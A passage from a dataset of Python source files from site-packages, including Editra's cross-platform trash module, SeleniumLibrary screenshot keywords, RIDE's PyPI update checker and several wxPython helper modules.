_threads import *\nfrom _trash import *\n", "id": "4702154", "language": "Python", "matching_score": 0.9809619784355164, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/__init__.py" }, { "content": "#!/usr/bin/env python\n###############################################################################\n# Name: _trash.py #\n# Purpose: Multiplatform recycle/trash implementation #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nPlatform independent Recycle Bin / Trash implementation\n\nThe moveToTrash function in this module takes a path or list of \npaths and moves them to the Recycle Bin / Trash directory depending\non the platform. For UNIX platforms, the FreeDesktop specification\nof Trash <http://www.ramendik.ru/docs/trashspec.html> is implemented.\n\nAny errors while moving files results in some form of TrashException.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__revision__ = \"$Revision: 58361 $\"\n__scid__ = \"$Id: Trash.py 58361 2009-01-24 19:43:27Z CJP $\"\n\n__all__ = ['MoveToTrash']\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport os\nimport time\nimport platform\nimport shutil\nimport stat\n\nOSX = WIN = False\n\n# Determine platform, if it's not one of these assume UNIX/Linux\nif platform.system().lower() in ['windows', 'microsoft']:\n WIN = True\n # Install recycle.exe binary\n import _winrecycle\n env = os.environ\n recycleexe = os.path.join(env.get('TEMP', env.get('TMP', env.get('windir','.'))),'recycle.exe')\n exe = open(recycleexe,'wb')\n exe.write(_winrecycle.recycle)\n exe.close()\n del exe\n del _winrecycle\nelif platform.mac_ver()[0]:\n OSX = True\n\n#-----------------------------------------------------------------------------#\n\nclass TrashError(Exception):\n pass\n \nclass TrashDirectoryError(TrashError):\n pass\n \nclass TrashMoveError(TrashError):\n pass\n \nclass TrashPermissionsError(TrashMoveError):\n pass\n\ndef MoveToTrash(paths):\n \"\"\"\n Move the given paths to the trash can\n \n Required Arguments:\n paths -- path or list of paths to move to the trash can\n \n \"\"\"\n # Make sure that we are always dealing with a list\n if isinstance(paths, basestring):\n paths = [paths] \n \n # Get absolute paths and make sure files exist\n paths = [os.path.abspath(x) for x in paths \n if os.path.exists(os.path.abspath(x))]\n \n # Run the correct trash function\n if OSX:\n return _osxTrash(paths)\n elif WIN:\n return _winTrash(paths)\n else:\n return _unixTrash(paths)\n\ndef _ensurePermissions(path):\n \"\"\" Make sure we have permissions to read and delete path \"\"\"\n if not os.access(path, os.R_OK|os.W_OK):\n try: os.chmod(path, stat.S_IWRITE|stat.S_IREAD)\n except (IOError, OSError): pass\n if not os.access(path, os.R_OK):\n raise TrashPermissionsError, ('You do not have permissions to read this path', path)\n if not os.access(path, os.W_OK):\n raise TrashPermissionsError, ('You do not have permissions to remove this path', path)\n\ndef _winTrash(paths):\n \"\"\" Move to windows recycle bin if possible \"\"\"\n for path in paths:\n # See if we can even do this\n _ensurePermissions(path)\n try:\n rc = os.spawnv(os.P_WAIT, recycleexe, \n [os.path.basename(recycleexe)] + ['\"%s\"'%path])\n if rc:\n raise TrashMoveError, ('Could not move path', path, '%s' % rc)\n except (IOError, OSError), msg:\n raise TrashMoveError, ('Could not move path', path, msg)\n\ndef _osxTrash(paths):\n \"\"\" Move paths to OS X Trash can \"\"\"\n trashdir = os.path.join(os.path.expanduser('~'),'.Trash')\n if not os.path.isdir(trashdir):\n raise TrashDirectoryError, ('Could not locate trash directory', trashdir)\n\n for path in paths:\n # See if we can even do this\n _ensurePermissions(path)\n\n # Generate new filename in trash\n origpath = newpath = os.path.join(trashdir, os.path.basename(path))\n while os.path.exists(newpath):\n newpath = origpath\n base, ext = os.path.splitext(newpath)\n newpath = '%s %s%s' % (base, time.strftime('%H-%M-%S'), ext) \n\n # Move the path\n try: \n shutil.move(path, newpath)\n except (OSError, IOError), msg:\n raise TrashMoveError, ('Could not move path', path, msg)\n\ndef _unixTrash(paths):\n \"\"\" \n Move paths to FreeDesktop Trash can \n \n See <http://www.ramendik.ru/docs/trashspec.html>\n \n \"\"\"\n trashdir = os.path.join(os.environ.get('XDG_DATA_HOME', \n os.path.join(os.path.expanduser('~'),'.local','share')), 'Trash')\n\n # Create trash directories as needed\n try:\n os.makedirs(os.path.join(trashdir, 'files'))\n except (IOError, OSError):\n pass \n\n try:\n os.makedirs(os.path.join(trashdir, 'info'))\n except (IOError, OSError):\n pass\n \n # Make sure that directories got created\n if not os.path.isdir(os.path.join(trashdir, 'files')):\n raise TrashDirectoryError, ('Could not locate trash directory', trashdir)\n if not os.path.isdir(os.path.join(trashdir, 'info')):\n raise TrashDirectoryError, ('Could not locate trash directory', trashdir)\n \n for path in paths:\n # See if we can even do this\n _ensurePermissions(path)\n \n # Create unique filename\n origpath = newpath = os.path.join(trashdir, 'files', \n os.path.basename(path))\n while os.path.exists(newpath):\n newpath = origpath\n base, ext = os.path.splitext(newpath)\n newpath = '%s %s%s' % (base, time.strftime('%H-%M-%S'), ext)\n\n # Write info file\n try:\n root, base = os.path.split(newpath)\n infopath = os.path.join(os.path.dirname(root), \n 'info', base + '.trashinfo')\n info = open(infopath,'w')\n info.write('[Trash Info]\\n')\n info.write('Path=%s\\n' % path)\n info.write(time.strftime('DeletionDate=%Y%m%dT%H:%M:%S\\n'))\n info.close()\n except (OSError, IOError), msg:\n try:\n os.remove(infopath)\n except:\n pass\n raise TrashMoveError, ('Could not move path', path, msg)\n\n # Move file\n try:\n shutil.move(path, newpath)\n except (OSError, IOError), msg:\n raise TrashMoveError, ('Could not move path', path, msg)\n\n#-----------------------------------------------------------------------------#\n\nif __name__ == '__main__':\n import sys\n args = sys.argv[1:]\n if args:\n moveToTrash(args)\n", "id": "7428185", "language": "Python", "matching_score": 0.9491856694221497, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/_trash.py" }, { "content": "# Copyright 2008-2011 Nokia Networks\n# Copyright 2011-2016 <NAME>, <NAME> and contributors\n# Copyright 2016- Robot Framework Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\n\nfrom robot.utils import get_link_path\n\nfrom SeleniumLibrary.base import LibraryComponent, keyword\nfrom SeleniumLibrary.utils import is_noney\nfrom SeleniumLibrary.utils.path_formatter import _format_path\n\nDEFAULT_FILENAME_PAGE = 'selenium-screenshot-{index}.png'\nDEFAULT_FILENAME_ELEMENT = 'selenium-element-screenshot-{index}.png'\nEMBED = 'EMBED'\n\n\nclass ScreenshotKeywords(LibraryComponent):\n\n @keyword\n def set_screenshot_directory(self, path):\n \"\"\"Sets the directory for captured screenshots.\n\n ``path`` argument specifies the absolute path to a directory where\n the screenshots should be written to. If the directory does not\n exist, it will be created. The directory can also be set when\n `importing` the library. If it is not configured anywhere,\n screenshots are saved to the same directory where Robot Framework's\n log file is written.\n\n If ``path`` equals to EMBED (case insensitive) and\n `Capture Page Screenshot` or `capture Element Screenshot` keywords\n filename argument is not changed from the default value, then\n the page or element screenshot is embedded as Base64 image to\n the log.html.\n\n The previous value is returned and can be used to restore\n the original value later if needed.\n\n Returning the previous value is new in SeleniumLibrary 3.0.\n The persist argument was removed in SeleniumLibrary 3.2 and\n EMBED is new in SeleniumLibrary 4.2.\n \"\"\"\n if is_noney(path):\n path = None\n elif path.upper() == EMBED:\n path = EMBED\n else:\n path = os.path.abspath(path)\n self._create_directory(path)\n previous = self._screenshot_root_directory\n self._screenshot_root_directory = path\n return previous\n\n @keyword\n def capture_page_screenshot(self, filename=DEFAULT_FILENAME_PAGE):\n \"\"\"Takes a screenshot of the current page and embeds it into a log file.\n\n ``filename`` argument specifies the name of the file to write the\n screenshot into. The directory where screenshots are saved can be\n set when `importing` the library or by using the `Set Screenshot\n Directory` keyword. If the directory is not configured, screenshots\n are saved to the same directory where Robot Framework's log file is\n written.\n\n If ``filename`` equals to EMBED (case insensitive), then screenshot\n is embedded as Base64 image to the log.html. In this case file is not\n created in the filesystem.\n\n Starting from SeleniumLibrary 1.8, if ``filename`` contains marker\n ``{index}``, it will be automatically replaced with an unique running\n index, preventing files to be overwritten. Indices start from 1,\n and how they are represented can be customized using Python's\n [https://docs.python.org/3/library/string.html#format-string-syntax|\n format string syntax].\n\n An absolute path to the created screenshot file is returned or if\n ``filename`` equals to EMBED, word `EMBED` is returned.\n\n Support for EMBED is new in SeleniumLibrary 4.2\n\n Examples:\n | `Capture Page Screenshot` | |\n | `File Should Exist` | ${OUTPUTDIR}/selenium-screenshot-1.png |\n | ${path} = | `Capture Page Screenshot` |\n | `File Should Exist` | ${OUTPUTDIR}/selenium-screenshot-2.png |\n | `File Should Exist` | ${path} |\n | `Capture Page Screenshot` | custom_name.png |\n | `File Should Exist` | ${OUTPUTDIR}/custom_name.png |\n | `Capture Page Screenshot` | custom_with_index_{index}.png |\n | `File Should Exist` | ${OUTPUTDIR}/custom_with_index_1.png |\n | `Capture Page Screenshot` | formatted_index_{index:03}.png |\n | `File Should Exist` | ${OUTPUTDIR}/formatted_index_001.png |\n | `Capture Page Screenshot` | EMBED |\n | `File Should Not Exist` | EMBED |\n \"\"\"\n if not self.drivers.current:\n self.info('Cannot capture screenshot because no browser is open.')\n return\n if self._decide_embedded(filename):\n return self._capture_page_screen_to_log()\n return self._capture_page_screenshot_to_file(filename)\n\n def _capture_page_screenshot_to_file(self, filename):\n path = self._get_screenshot_path(filename)\n self._create_directory(path)\n if not self.driver.save_screenshot(path):\n raise RuntimeError(\"Failed to save screenshot '{}'.\".format(path))\n self._embed_to_log_as_file(path, 800)\n return path\n\n def _capture_page_screen_to_log(self):\n screenshot_as_base64 = self.driver.get_screenshot_as_base64()\n self._embed_to_log_as_base64(screenshot_as_base64, 800)\n return EMBED\n\n @keyword\n def capture_element_screenshot(self, locator, filename=DEFAULT_FILENAME_ELEMENT):\n \"\"\"Captures a screenshot from the element identified by ``locator`` and embeds it into log file.\n\n See `Capture Page Screenshot` for details about ``filename`` argument.\n See the `Locating elements` section for details about the locator\n syntax.\n\n An absolute path to the created element screenshot is returned.\n\n Support for capturing the screenshot from an element has limited support\n among browser vendors. Please check the browser vendor driver documentation\n does the browser support capturing a screenshot from an element.\n\n New in SeleniumLibrary 3.3. Support for EMBED is new in SeleniumLibrary 4.2.\n\n Examples:\n | `Capture Element Screenshot` | id:image_id | |\n | `Capture Element Screenshot` | id:image_id | ${OUTPUTDIR}/id_image_id-1.png |\n | `Capture Element Screenshot` | id:image_id | EMBED |\n \"\"\"\n if not self.drivers.current:\n self.info('Cannot capture screenshot from element because no browser is open.')\n return\n element = self.find_element(locator, required=True)\n if self._decide_embedded(filename):\n return self._capture_element_screen_to_log(element)\n return self._capture_element_screenshot_to_file(element, filename)\n\n def _capture_element_screenshot_to_file(self, element, filename):\n path = self._get_screenshot_path(filename)\n self._create_directory(path)\n if not element.screenshot(path):\n raise RuntimeError(\"Failed to save element screenshot '{}'.\".format(path))\n self._embed_to_log_as_file(path, 400)\n return path\n\n def _capture_element_screen_to_log(self, element):\n self._embed_to_log_as_base64(element.screenshot_as_base64, 400)\n return EMBED\n\n @property\n def _screenshot_root_directory(self):\n return self.ctx.screenshot_root_directory\n\n @_screenshot_root_directory.setter\n def _screenshot_root_directory(self, value):\n self.ctx.screenshot_root_directory = value\n\n def _decide_embedded(self, filename):\n filename = filename.lower()\n if filename == DEFAULT_FILENAME_PAGE and self._screenshot_root_directory == EMBED:\n return True\n if filename == DEFAULT_FILENAME_ELEMENT and self._screenshot_root_directory == EMBED:\n return True\n if filename == EMBED.lower():\n return True\n return False\n\n def _get_screenshot_path(self, filename):\n if self._screenshot_root_directory != EMBED:\n directory = self._screenshot_root_directory or self.log_dir\n else:\n directory = self.log_dir\n filename = filename.replace('/', os.sep)\n index = 0\n while True:\n index += 1\n formatted = _format_path(filename, index)\n path = os.path.join(directory, formatted)\n # filename didn't contain {index} or unique path was found\n if formatted == filename or not os.path.exists(path):\n return path\n\n def _create_directory(self, path):\n target_dir = os.path.dirname(path)\n if not os.path.exists(target_dir):\n os.makedirs(target_dir)\n\n def _embed_to_log_as_base64(self, screenshot_as_base64, width):\n # base64 image is shown as on its own row and thus previous row is closed on\n # purpose. Depending on Robot's log structure is a bit risky.\n self.info('</td></tr><tr><td colspan=\"3\">'\n '<img alt=\"screenshot\" class=\"robot-seleniumlibrary-screenshot\" '\n 'src=\"data:image/png;base64,{screenshot_data}\" width=\"{width}px\">'\n .format(screenshot_data=screenshot_as_base64, width=width), html=True)\n\n def _embed_to_log_as_file(self, path, width):\n # Image is shown on its own row and thus previous row is closed on\n # purpose. Depending on Robot's log structure is a bit risky.\n self.info('</td></tr><tr><td colspan=\"3\">'\n '<a href=\"{src}\"><img src=\"{src}\" width=\"{width}px\"></a>'\n .format(src=get_link_path(path, self.log_dir), width=width), html=True)\n", "id": "719843", "language": "Python", "matching_score": 1.7227388620376587, "max_stars_count": 1, "path": "Lib/site-packages/SeleniumLibrary/keywords/screenshot.py" }, { "content": "# Copyright 2008-2015 Nokia Networks\n# Copyright 2016- Robot Framework Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Configure wx version to allow running test app in __main__\n\n\nimport wx, wx.html\nfrom robotide.utils.versioncomparator import cmp_versions\nfrom robotide.widgets.button import ButtonWithHandler\nfrom robotide.utils import PY2\n\nimport time\n\nif PY2:\n import urllib2\n import xmlrpclib\nelse: # py3\n import urllib.request as urllib2\n import xmlrpc.client as xmlrpclib\nimport robotide.version as version\n\n_CHECK_FOR_UPDATES_SETTING = 'check for updates'\n_LAST_UPDATE_CHECK_SETTING = 'last update check'\n\nclass UpdateNotifierController(object):\n\n VERSION = version.VERSION\n SECONDS_IN_WEEK = 60*60*24*7\n\n def __init__(self, settings):\n self._settings = settings\n\n def notify_update_if_needed(self, update_notification_callback):\n if self._should_check() and self._is_new_version_available():\n update_notification_callback(self._newest_version, self._download_url, self._settings)\n\n def _should_check(self):\n if self._settings.get(_CHECK_FOR_UPDATES_SETTING, None) is None:\n self._settings[_CHECK_FOR_UPDATES_SETTING] = True\n return True\n return self._settings[_CHECK_FOR_UPDATES_SETTING] and \\\n time.time() - self._settings.get(_LAST_UPDATE_CHECK_SETTING, 0) > self.SECONDS_IN_WEEK\n\n def _is_new_version_available(self):\n self._settings[_LAST_UPDATE_CHECK_SETTING] = time.time()\n try:\n self._newest_version = self._get_newest_version()\n self._download_url = self._get_download_url(self._newest_version)\n except Exception as e:\n print(e)\n #There are many possible errors:\n # - Timeout\n # - Corrupted data\n # - Server fault message\n # - Unexpected change in dataformat\n return False\n return cmp_versions(self.VERSION, self._newest_version) == -1\n\n def _get_newest_version(self):\n return self._get_response(('robotframework-ride',), 'package_releases')[0]\n\n def _get_download_url(self, version):\n return self._get_response(('robotframework-ride', version), 'release_data')['download_url']\n\n def _get_response(self, params, method):\n xmlparm = xmlrpclib.dumps(params, method)\n req = urllib2.Request('https://pypi.python.org/pypi',\n xmlparm.encode('utf-8'),\n {'Content-Type':'text/xml'})\n data = urllib2.urlopen(req, timeout=1).read()\n xml = xmlrpclib.loads(data)[0][0]\n return xml\n\n\nclass HtmlWindow(wx.html.HtmlWindow):\n def __init__(self, parent, id, size=(600,400)):\n wx.html.HtmlWindow.__init__(self,parent, id, size=size)\n if \"gtk2\" or \"gtk3\" in wx.PlatformInfo:\n self.SetStandardFonts()\n\n def OnLinkClicked(self, link):\n wx.LaunchDefaultBrowser(link.GetHref())\n\n\nclass UpdateDialog(wx.Dialog):\n\n def __init__(self, version, url, settings):\n self._settings = settings\n wx.Dialog.__init__(self, None, -1, \"Update available\")\n # set Left to Right direction (while we don't have localization)\n self.SetLayoutDirection(wx.Layout_LeftToRight)\n sizer = wx.BoxSizer(orient=wx.VERTICAL)\n if PY2 and cmp_versions(UpdateNotifierController.VERSION, '2.0') == -1:\n obsolete = '<br/><h1><b>You will need to upgrade your Python version!</b></h1>'\n else:\n obsolete = ''\n hwin = HtmlWindow(self, -1, size=(400,200))\n hwin.SetPage('New version %s available from <a href=\"%s\">%s</a>%s' % (version, url, url, obsolete))\n irep = hwin.GetInternalRepresentation()\n hwin.SetSize((irep.GetWidth()+25, irep.GetHeight()+20))\n sizer.Add(hwin)\n checkbox = wx.CheckBox(self, -1, label='I\\'m using another method for RIDE updates\\n and do not need automatic update checks')\n checkbox.Bind(wx.EVT_CHECKBOX, handler=self.OnCheckboxChange)\n sizer.Add(checkbox)\n button = ButtonWithHandler(self, label='remind me later', handler=self.OnRemindMeLater)\n sizer.Add(button)\n self.SetSizer(sizer)\n self.CentreOnParent(wx.BOTH)\n self.Fit()\n self.SetFocus()\n self.ShowModal()\n self.Destroy()\n\n def OnRemindMeLater(self, event):\n self.Close(True)\n\n def OnCheckboxChange(self, event):\n self._settings[_CHECK_FOR_UPDATES_SETTING] = not event.IsChecked()\n event.Skip()\n", "id": "8231998", "language": "Python", "matching_score": 2.5043063163757324, "max_stars_count": 0, "path": "Lib/site-packages/robotide/application/updatenotifier.py" }, { "content": "#\n# o Updated for wx namespace. Not tested though.\n#\n# 12/17/2003 - <NAME> (<EMAIL>)\n#\n# o Removed wx prefix from class name, \n# updated reverse renamer\n#\n\n\"\"\"\nsorry no documentation...\n<NAME>\n\"\"\"\n\n\nimport wx\nimport wx.html as html\n\nclass PyClickableHtmlWindow(html.HtmlWindow):\n \"\"\"\n Class for a wxHtmlWindow which responds to clicks on links by opening a\n browser pointed at that link, and to shift-clicks by copying the link\n to the clipboard.\n \"\"\"\n def __init__(self,parent,ID,**kw):\n apply(html.HtmlWindow.__init__,(self,parent,ID),kw)\n\n def OnLinkClicked(self,link):\n self.link = wx.TextDataObject(link.GetHref())\n if link.GetEvent().ShiftDown():\n if wx.TheClipboard.Open():\n wx.TheClipboard.SetData(self.link)\n wx.TheClipboard.Close()\n else:\n dlg = wx.MessageDialog(self,\"Couldn't open clipboard!\\n\",wx.OK)\n wx.Bell()\n dlg.ShowModal()\n dlg.Destroy()\n else:\n if 0: # Chris's original code...\n if sys.platform not in [\"windows\",'nt'] :\n #TODO: A MORE APPROPRIATE COMMAND LINE FOR Linux\n #[or rather, non-Windows platforms... as of writing,\n #this MEANS Linux, until wxPython for wxMac comes along...]\n command = \"/usr/bin/netscape\"\n else:\n command = \"start\"\n command = \"%s \\\"%s\\\"\" % (command,\n self.link.GetText ())\n os.system (command)\n\n else: # My alternative\n import webbrowser\n webbrowser.open(link.GetHref())\n\n\n", "id": "10660310", "language": "Python", "matching_score": 0.8068767189979553, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/ClickableHtmlWindow.py" }, { "content": "###############################################################################\n# Name: wxcompat.py #\n# Purpose: Help with compatibility between wx versions. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\n@summary: wx Compatibility helper module\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: wxcompat.py 63517 2010-02-19 02:44:37Z CJP $\"\n__revision__ = \"$Revision: 63517 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\n\n#-----------------------------------------------------------------------------#\n\nif wx.Platform == '__WXMAC__':\n # MacThemeColour is defined in wxPython2.9 but does not exist in 2.8\n # This is a 2.8 version of this method.\n if not hasattr(wx, 'MacThemeColour'):\n def MacThemeColour(theme_id):\n \"\"\"Get a specified Mac theme colour\n @param theme_id: Carbon theme id\n @return: wx.Colour\n\n \"\"\"\n brush = wx.Brush(wx.BLACK)\n brush.MacSetTheme(theme_id)\n return brush.GetColour()\n\n wx.MacThemeColour = MacThemeColour\n\n wx.SystemOptions.SetOptionInt(\"mac.textcontrol-use-spell-checker\", 1)\n\n# GetText is not available in 2.9 but GetItemLabel is not available pre 2.8.6\nif wx.VERSION < (2, 8, 6, 0, ''):\n wx.MenuItem.GetItemLabel = wx.MenuItem.GetText\n wx.MenuItem.GetItemLabelText = wx.MenuItem.GetLabel\n", "id": "11902433", "language": "Python", "matching_score": 1.0749437808990479, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/wxcompat.py" }, { "content": "###############################################################################\n# Name: cmenumgr.py #\n# Purpose: ContextMenu Manager #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2010 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: ContextMenuManager\n\nHelper class for managing context menu callbacks\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: cmenumgr.py 67348 2011-03-30 17:59:32Z CJP $\"\n__revision__ = \"$Revision: 67348 $\"\n\n__all__ = [ 'ContextMenuManager', ]\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\n\n#-----------------------------------------------------------------------------#\n\nclass ContextMenuManager(object):\n \"\"\"Class for registering and managing context menu callbacks\"\"\"\n def __init__(self):\n super(ContextMenuManager, self).__init__()\n\n # Attributes\n self._menu = None # Context Menu\n self._pos = (0, 0) # Menu position\n self._handlers = dict() # {ID : callable(event)}\n self._userdata = dict()\n\n Menu = property(lambda self: self.GetMenu(), \n lambda self, menu: self.SetMenu(menu))\n\n Position = property(lambda self: self.GetPosition(),\n lambda self, pos: self.SetPosition(pos))\n\n def AddHandler(self, evt_id, handler):\n \"\"\"Add an event handler\n @param evt_id: int\n @param handler: callable(event)\n\n \"\"\"\n self._handlers[evt_id] = handler\n\n def Clear(self):\n \"\"\"Clear all handlers and destroy the menu\"\"\"\n self._handlers.clear()\n self._userdata.clear()\n if self._menu:\n self._menu.Destroy()\n\n def GetHandler(self, evt_id):\n \"\"\"Get the event handler for the provided ID or None\n @param evt_id: int\n @return: callable or None\n\n \"\"\"\n return self._handlers.get(evt_id, None)\n\n def GetMenu(self):\n \"\"\"Get the menu that is being managed by this manager\n @return: wxMenu\n\n \"\"\"\n return self._menu\n\n def GetPosition(self):\n \"\"\"Get the menu position\n @return: tuple (int, int)\n\n \"\"\"\n return self._pos\n\n def GetUserData(self, key):\n \"\"\"Get user data\n @param key: data id key\n\n \"\"\"\n return self._userdata.get(key, None)\n\n def SetMenu(self, menu):\n \"\"\"Set the menu that this manager should manage\n @param menu: wxMenu\n\n \"\"\"\n assert isinstance(menu, wx.Menu), \"menu must be a wxMenu\"\n self._menu = menu\n\n def SetPosition(self, pos):\n \"\"\"Set the menu position\n @param pos: tuple (int, int)\n\n \"\"\"\n self._pos = pos\n\n def SetUserData(self, key, data):\n \"\"\"Add custom user data to the manager\n @param key: unique key used to retrieve the data later\n @param data: user data\n\n \"\"\"\n self._userdata[key] = data\n", "id": "12176001", "language": "Python", "matching_score": 1.1486223936080933, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/cmenumgr.py" }, { "content": "###############################################################################\n# Name: __init__.py #\n# Purpose: Editra Control Library #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Control Library\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: __init__.py 66084 2010-11-10 02:27:16Z CJP $\"\n__revision__ = \"$Revision: 66084 $\"\n\n\n__all__ = ['auinavi', 'choicedlg', 'colorsetter', 'ctrlbox', 'eclutil',\n 'ecpickers', 'elistmix', 'encdlg', 'errdlg', 'finddlg', 'infodlg',\n 'panelbox', 'outbuff', 'platebtn', 'pstatbar', 'segmentbk',\n 'txtentry']\n\n#-----------------------------------------------------------------------------#\nfrom ecbasewin import *\n\nfrom auinavi import *\nfrom choicedlg import *\nfrom colorsetter import *\nfrom ctrlbox import *\nfrom eclutil import *\nfrom ecpickers import *\nfrom elistmix import *\nfrom encdlg import *\nfrom errdlg import *\nfrom filterdlg import *\nfrom finddlg import *\nfrom infodlg import *\nfrom outbuff import *\nfrom panelbox import *\nfrom platebtn import *\nfrom pstatbar import *\nfrom segmentbk import *\nfrom txtentry import *\nfrom elistctrl import *\n\n# TODO: Delete module entries once all plugins have been updated to not \n# import them separately.\n", "id": "11156024", "language": "Python", "matching_score": 0.5660558342933655, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/eclib/__init__.py" }, { "content": "\"\"\"\nThe Object Graphics Library provides for simple drawing and manipulation\nof 2D objects.\n\"\"\"\n\nfrom _basic import *\nfrom _diagram import *\nfrom _canvas import *\nfrom _lines import *\nfrom _bmpshape import *\nfrom _divided import *\nfrom _composit import *\nfrom _drawn import *\n\n\n# Set things up for documenting with epydoc. The __docfilter__ will\n# prevent some things from being documented, and anything in __all__\n# will appear to actually exist in this module.\nimport wx._core as _wx\n__docfilter__ = _wx.__DocFilter(globals())\n__all__ = [name for name in dir() if not name.startswith('_')]\n\n", "id": "5478746", "language": "Python", "matching_score": 1.3739572763442993, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/ogl/__init__.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx._core\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxNOT_FOUND = wx._core.NOT_FOUND\nwxVSCROLL = wx._core.VSCROLL\nwxHSCROLL = wx._core.HSCROLL\nwxCAPTION = wx._core.CAPTION\nwxDOUBLE_BORDER = wx._core.DOUBLE_BORDER\nwxSUNKEN_BORDER = wx._core.SUNKEN_BORDER\nwxRAISED_BORDER = wx._core.RAISED_BORDER\nwxBORDER = wx._core.BORDER\nwxSIMPLE_BORDER = wx._core.SIMPLE_BORDER\nwxSTATIC_BORDER = wx._core.STATIC_BORDER\nwxTRANSPARENT_WINDOW = wx._core.TRANSPARENT_WINDOW\nwxNO_BORDER = wx._core.NO_BORDER\nwxDEFAULT_CONTROL_BORDER = wx._core.DEFAULT_CONTROL_BORDER\nwxDEFAULT_STATUSBAR_STYLE = wx._core.DEFAULT_STATUSBAR_STYLE\nwxTAB_TRAVERSAL = wx._core.TAB_TRAVERSAL\nwxWANTS_CHARS = wx._core.WANTS_CHARS\nwxPOPUP_WINDOW = wx._core.POPUP_WINDOW\nwxCENTER_FRAME = wx._core.CENTER_FRAME\nwxCENTRE_ON_SCREEN = wx._core.CENTRE_ON_SCREEN\nwxCENTER_ON_SCREEN = wx._core.CENTER_ON_SCREEN\nwxCLIP_CHILDREN = wx._core.CLIP_CHILDREN\nwxCLIP_SIBLINGS = wx._core.CLIP_SIBLINGS\nwxALWAYS_SHOW_SB = wx._core.ALWAYS_SHOW_SB\nwxRETAINED = wx._core.RETAINED\nwxBACKINGSTORE = wx._core.BACKINGSTORE\nwxCOLOURED = wx._core.COLOURED\nwxFIXED_LENGTH = wx._core.FIXED_LENGTH\nwxLB_NEEDED_SB = wx._core.LB_NEEDED_SB\nwxLB_ALWAYS_SB = wx._core.LB_ALWAYS_SB\nwxLB_SORT = wx._core.LB_SORT\nwxLB_SINGLE = wx._core.LB_SINGLE\nwxLB_MULTIPLE = wx._core.LB_MULTIPLE\nwxLB_EXTENDED = wx._core.LB_EXTENDED\nwxLB_OWNERDRAW = wx._core.LB_OWNERDRAW\nwxLB_HSCROLL = wx._core.LB_HSCROLL\nwxPROCESS_ENTER = wx._core.PROCESS_ENTER\nwxPASSWORD = wx._core.PASSWORD\nwxCB_SIMPLE = wx._core.CB_SIMPLE\nwxCB_DROPDOWN = wx._core.CB_DROPDOWN\nwxCB_SORT = wx._core.CB_SORT\nwxCB_READONLY = wx._core.CB_READONLY\nwxRA_HORIZONTAL = wx._core.RA_HORIZONTAL\nwxRA_VERTICAL = wx._core.RA_VERTICAL\nwxRA_SPECIFY_ROWS = wx._core.RA_SPECIFY_ROWS\nwxRA_SPECIFY_COLS = wx._core.RA_SPECIFY_COLS\nwxRA_USE_CHECKBOX = wx._core.RA_USE_CHECKBOX\nwxRB_GROUP = wx._core.RB_GROUP\nwxRB_SINGLE = wx._core.RB_SINGLE\nwxSB_HORIZONTAL = wx._core.SB_HORIZONTAL\nwxSB_VERTICAL = wx._core.SB_VERTICAL\nwxRB_USE_CHECKBOX = wx._core.RB_USE_CHECKBOX\nwxST_SIZEGRIP = wx._core.ST_SIZEGRIP\nwxST_NO_AUTORESIZE = wx._core.ST_NO_AUTORESIZE\nwxST_DOTS_MIDDLE = wx._core.ST_DOTS_MIDDLE\nwxST_DOTS_END = wx._core.ST_DOTS_END\nwxFLOOD_SURFACE = wx._core.FLOOD_SURFACE\nwxFLOOD_BORDER = 